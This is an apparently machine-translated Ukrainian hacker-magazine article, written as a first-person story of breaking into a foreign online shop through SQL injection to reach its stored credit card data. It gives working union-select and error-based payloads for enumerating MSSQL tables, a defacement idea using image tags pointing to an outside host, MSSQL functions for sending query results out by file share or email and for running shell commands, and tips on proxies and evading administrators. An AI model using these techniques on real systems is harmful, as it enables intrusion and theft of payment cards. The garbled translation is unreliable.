Злом інтернет-магазину

Федір Михайлович
Багато хто чув про зломи інтернет-магазинів. Як якийсь злісний хакер проривався крізь непробивну захист сервера, крадучи всю корисну інформацію, ставав мультимільйонером і був такий. Це красиві історії. Щоб зрозуміти, як все відбувається насправді, ми вирішили попросити одну людину розповісти про такі речі. Зі зрозумілих причин, розкривати він себе не став, а назвався Федором Михайловичем. Ось що він розповів. Увага! Вся подальша інформація дається тільки для ознайомлення. Чи не повторюй це на практиці! Поїхали.
Новомосковський статті про кардинг, ти, напевно, вже не раз задавався питанням, звідки ж ці круті хакери отримують номери чужих кредитних карт. Власне, відомо, звідки: з зламаних інтернет-магазинів. Однак щось мені підказує, що більшість Новомосковсктелей слабо собі уявляють собі процес вилучення кред з електронного магазину. Щоб хоч трохи прояснити ситуацію, я розповім про недавно зроблене мною зломі одного закордонного е-шопа.
Здавалося б, електронна торгівля - прибутковий бізнес, будь-який витік інформації може обернутися тут серйозними збитками, втратою репутації і ділових контактів. Тим дивніше виявляється той факт, що багато організацій не приділяють належної уваги безпеці власних систем, за що, в кінцевому підсумку, і розплачуються.

Спочатку було слово

При пошуку вразливостей в будь-яких скриптах зломщик, не маючи вихідних кодів цих програм, зазвичай намагається таким чином модифікувати передаються скрипту параметри, щоб сценарій аварійно припинив своє виконання і вивів хоч якісь відомості. Для цього потрібно мати деяке уявлення про роботу ламати системи. У розглянутому прикладі інтернет-магазину вся інформація про товари зазвичай зберігається в базі даних. Відповідно, коли користувач заходить в якийсь розділ магазину, скрипт вибирає з таблиці потрібні товари і виводить користувачеві цю інформацію. Для цього сценарію передається параметр, який вказує, товари з якого розділу цікаві відвідувачеві. Часто така змінна носить характерну ім'я типу "сategory", "cid" або "catid". Я переміщувався по знайденим сайтам, жорстоко знущаючись над скриптами - підставляв в усі можливі параметри спеціально придумані значення. Якісь програми цілком відверто мене посилали, якісь пропонували повторити спробу пізніше :). Все це мене не влаштовувало, мені потрібен був скрипт, який завершить роботу з помилкою і видасть мені про це відомості. І ось, приблизно через годину пошуків, я натрапив на такий магазин: після того як я поставив одинарні лапки після параметра "ProductCode", скрипт сказав буквально наступне: "Unclosed quotation mark before the character string '780422-S' and Stock> = 0 '. /path/to/script.asp, line 15 ". Відмінно, це наш клієнт! Досвідчений Новомосковсктель вигукне: "Так це ж sql-injection!" Саме так :). Залишається тільки здогадуватися, про що думали програмісти, коли розробляли систему. Хоча не поспішаю я? Може бути, нічого істотного через цей баг зробити толком і не вдасться? Зараз перевіримо. Один неприємний момент вже є - магазин працює на asp, а з цією мовою я до сих пір мав не самі близькі стосунки, хоча чого там, sql-injection він і в Африці sql-injection.

Факт залишається фактом. Щоб рухатися далі, мені потрібні повноцінні і точні відомості про назви та структурі всіх таблиць цієї бази даних. Адже поки я взагалі нічого не знаю! У більшості випадків, з якими я стикався, мені легко вдавалося отримувати такі відомості з повідомлень про помилки, але не цього разу. Я довго лазив по сайту, працюючи з різними скриптами, але мені нічого не вдавалося - виводяться відомості були занадто скупі. Вже зневірившись, я раптово згадав, що інформація про назви всіх таблиць і їх полів в MSSQL зберігається в якоїсь системної структурі, назви якої я не пам'ятав. Швидко знайшовши відповідну документацію, я дізнався, що інформація про всі таблицях зберігається в INFORMATION_SCHEMA.TABLES, інфа про полях таблиць - в INFORMATION_SCHEMA.COLUMNS. Дуже добре, тепер потрібно було якимось чином отримати необхідні відомості. Але тільки ось як це зробити? В голову відразу прийшла думка вчинити банально, за допомогою пропозиції union спробувати об'єднати висновок власного запиту з оброблюваних програмістом потоком - в цьому випадку програма сама покаже мені все, що я вимагатиму. Однак як же це реалізувати, не знаючи абсолютно нічого про структуру і навіть назві таблиць ламати системи. (Виходить замкнуте коло, як у старому анекдоті: драйвер від модему на cd, а від cd-rom - в інтернеті. Сподіваючись на удачу, я вирішив діяти методом тупого підбору - може бути, щось прийде в голову в процесі, або несподівано спливе якась додаткова інформація. Ок, пускаю: 1234 'union select table_name from INFORMATION_SCHEMA.TABLES. Скрипт лається: "All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists". Скрипт скаржиться на те, що в об'єднуються потоках не збігається кількість полів, чого бути ну ніяк не повинно. що ж, вже непогано - тепер, увеличи а кількість обираних другим запитом полів, я рано чи пізно доб'юся усунення цієї помилки і, очевидно, отримаю іншу, яка буде лаятися на розбіжність типів об'єднуються полів. По крайней мере, я дізнаюся кількість обираних першим запитом колонок. Я додавав у другій запит по одному полю, поки через 7 спроб не отримав радісну звістку: "Syntax error converting the nvarchar value 'AAAZZZZ' to a column of data type int". Просто супер! Скрипт вивів повідомлення про те, що не зміг перетворити символьне значення "AAAZZZZ" до целочисленному. А знаєш, що це за "AAAZZZZ"? Ця назва однієї з таблиць бази даних!
Я вибрав його з системної структури другим запитом, який, природно, не вдалося склеїти з першим, але, все ж, я отримав що хотів - інформацію про назву однієї з таблиць. Дуже добре, тепер, видозмінюючи запит, я вийняв з бази даних відомості про всі таблицях системи! Понеслася: 1234 'union select table_name. (7 разів) from INFORMATION_SCHEMA.TABLES order by table_name where table name> 'AAAZZZZ'. Таким ось чином я отримав відомості про всі таблицях бази даних. Чесно скажу, через отриманих відомостей інтерес до цього сайту багаторазово зріс (особливо цікавила таблиця Payments :)), але все заплуталося ще сильніше, оскільки в базі було близько півтори сотні таблиць, просто якась звалище з малосвязанних структур. Тепер, щоб якось пов'язати в єдине ціле отримані відомості, необхідно вивудити інформацію про полях всіх цікавлять таблиць. Нагадаю, ці відомості зберігаються в INFORMATION_SCHEMA.COLUMNS, де column_name - назва поля, column_type - тип, а table_name - назва таблиці. Вибираючи потрібні відомості описаним вище прийомом, я отримав інформацію про пристрій всіх структур сайту - мене серйозно зацікавила табличка rfPayments, оскільки в ній були поля з інтригуючими назвами "CreditCardNumber", "CVV", "CardHolderAddress" і т.д. Тепер я впритул підійшов до проблеми вилучення необхідних відомостей з бази даних, потрібно ж було терміново цілком викачувати таблицю з кредит!

Можна було дуже легко задефейсіть сайт, адже я знав про будову всіх таблиць і міг виконувати будь-які запити. Але постало питання про доцільність цих дій. По-перше, публічно показавши факт злому, я завдавав прямий збиток репутації магазину, чого мені було не потрібно. По-друге, якщо адмін просіче фішку, креди дуже скоро стануть невалидность. Крім того, я втрачу відмінну майданчик для постійного збору cc - адже покупки в магазині відбуваються щодня, відповідно, оновлюється таблиця з кредит. З усього випливало, що дефейс мені абсолютно не потрібен. Однак я вже прикинув, як це можна було б зробити. На головній сторінці знаходиться інформація про товари, які найкраще продаються. Ці дані вибираються з таблиці rfProducts - відповідно, якщо ми змінимо опису всіх товарів на щось на кшталт "lt img src = hack.ru / hacked.jpg width = 500 height = 600 gt ", то на головній сторінці виявиться купа красивих здоровенних картинок з Грітсу та іншими" hacked by ... ".

Зрозуміло, кардинг ми з приятелем так і не зайнялися. Більш того, я видалив отримані відомості про кредитки і написав системному адміністратору лист, в якому докладно розповів про уразливість і методах їх усунення - у відповідь, як і належить, тиша. А баг до сих пір працює. Залишається тільки гадати, що може статися, якщо відомості про платежі потраплять в мерзенні руки електронних шахраїв.

Цікаві функції MSSQL

Сервер MSSQL надає користувачеві цілу купу додаткових функцій, які можуть бути використані і хакерами:
1. sp_makewebtask '\\ share \ file.txt', 'mssql query' - заносить результат виконання запиту "mssql query" в текстовий файл, який може розміщуватися як на віддаленому сервері, так і в файлової системі локальної машини. Функція має ряд додаткових фішок, але нам вони мало цікаві - використовуються для більш наочного оформлення результатів.
2. xp_sendmail '[email protected]', "select * from table" - відправляє результат запиту на пошту. Функція також має ряд додаткових параметрів, всі вони дуже детально описані в MSDN, документи з цього приводу ти знайдеш і на нашому CD.
3. xp_cmdshell 'dir c:' - виконує команду для інтерпретатора cmd на віддаленому сервері. За допомогою цієї функції можна зробити масу корисних речей, все залежить від твоєї фантазії. Самі відморожені зломщики можуть, наприклад, знести купу системних файлів - якщо, звичайно, у sql-юзера вистачить для цього прав.

При проведенні подібних експериментів будь обережний! Знай, що в наш суворий час можна отримати по рогам просто за те, що поставив в один з параметрів скрипта зло адміну значення - він може це витлумачити як спробу злому, а провайдери зазвичай в таких випадках не зволікають з відключенням. Навіщо тобі зайві проблеми? Використовуй анонімний проксі. Щодня оновлюваний список proxy ти знайдеш тут: www.samair.ru/proxy/. Крім того, не забувай, що при використанні описаної уразливості зломщику рідко вдається отримати доступ до log-файлів. Тому старайся ретельно перевіряти відсилаються серверу запити, щоб не виконувати одну і ту ж процедуру по кілька разів, збільшуючи ймовірність виявлення твоїх дій системним адміністратором. Будь обережний.

В одному з найближчих номерів чекай матеріал про реалізацію sql-injection атак для самих різних серверів БД, включаючи Oracle і Postgres.

Вся наведена в статті історія насправді є частиною нового художнього роману Федора Михайловича і не має до земної реальності ніякого відношення. Всі права дотримано.